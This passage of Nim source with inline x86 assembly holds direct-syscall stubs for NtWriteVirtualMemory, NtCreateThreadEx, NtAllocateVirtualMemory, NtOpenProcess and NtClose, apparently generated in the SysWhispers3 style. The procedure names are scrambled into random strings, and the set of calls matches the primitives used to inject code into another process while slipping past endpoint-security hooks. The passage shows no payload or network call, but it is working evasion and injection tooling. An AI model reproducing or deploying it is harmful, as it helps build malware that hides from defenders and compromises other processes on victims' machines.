mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""
# NtWriteVirtualMemory
proc oqiazasusjk*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 00791312Fh
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x05
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""
# NtCreateThreadEx
proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 0415E8523h
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x0b
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""
# NtAllocateVirtualMemory
proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 08D136671h
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x06
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""
# NtOpenProcess
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 0FEAFCF03h
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x04
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""
# NtClose
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
asm """
push ebp
mov ebp, esp
push 0F05BE137h
call SW3_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 0x01
push_argument:
dec ecx
push [ebp + 8 + ecx * 4]
jnz push_argument
mov ecx, eax
call local_is_wow64
test eax, eax
je is_native
call internal_cleancall_wow64_gate
push ret_address_epilog
push ret_address_epilog
xchg eax, ecx
jmp ecx
jmp finish
is_native:
mov eax, ecx
push ret_address_epilog
call do_sysenter_interrupt
finish:
lea esp, [esp+4]
ret_address_epilog:
mov esp, ebp
pop ebp
ret
do_sysenter_interrupt:
mov edx, esp
sysenter
ret
"""